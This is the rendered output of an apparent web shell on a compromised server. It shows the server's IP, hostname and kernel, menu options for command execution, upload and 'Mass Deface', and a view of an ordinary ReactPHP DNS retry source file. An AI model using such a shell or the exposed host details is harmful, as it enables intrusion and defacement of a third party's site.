���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
portal-cutunix
/
vendor
/
react
/
dns
/
src
/
Query
/
Viewing: RetryExecutor.php
<?php namespace React\Dns\Query; use React\Promise\Deferred; use React\Promise\PromiseInterface; final class RetryExecutor implements ExecutorInterface { private $executor; private $retries; public function __construct(ExecutorInterface $executor, $retries = 2) { $this->executor = $executor; $this->retries = $retries; } public function query(Query $query) { return $this->tryQuery($query, $this->retries); } public function tryQuery(Query $query, $retries) { $deferred = new Deferred(function () use (&$promise) { if ($promise instanceof PromiseInterface && \method_exists($promise, 'cancel')) { $promise->cancel(); } }); $success = function ($value) use ($deferred, &$errorback) { $errorback = null; $deferred->resolve($value); }; $executor = $this->executor; $errorback = function ($e) use ($deferred, &$promise, $query, $success, &$errorback, &$retries, $executor) { if (!$e instanceof TimeoutException) { $errorback = null; $deferred->reject($e); } elseif ($retries <= 0) { $errorback = null; $deferred->reject($e = new \RuntimeException( 'DNS query for ' . $query->describe() . ' failed: too many retries', 0, $e )); // avoid garbage references by replacing all closures in call stack. // what a lovely piece of code! $r = new \ReflectionProperty('Exception', 'trace'); $r->setAccessible(true); $trace = $r->getValue($e); // Exception trace arguments are not available on some PHP 7.4 installs // @codeCoverageIgnoreStart foreach ($trace as $ti => $one) { if (isset($one['args'])) { foreach ($one['args'] as $ai => $arg) { if ($arg instanceof \Closure) { $trace[$ti]['args'][$ai] = 'Object(' . \get_class($arg) . ')'; } } } } // @codeCoverageIgnoreEnd $r->setValue($e, $trace); } else { --$retries; $promise = $executor->query($query)->then( $success, $errorback ); } }; $promise = $this->executor->query($query)->then( $success, $errorback ); return $deferred->promise(); } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa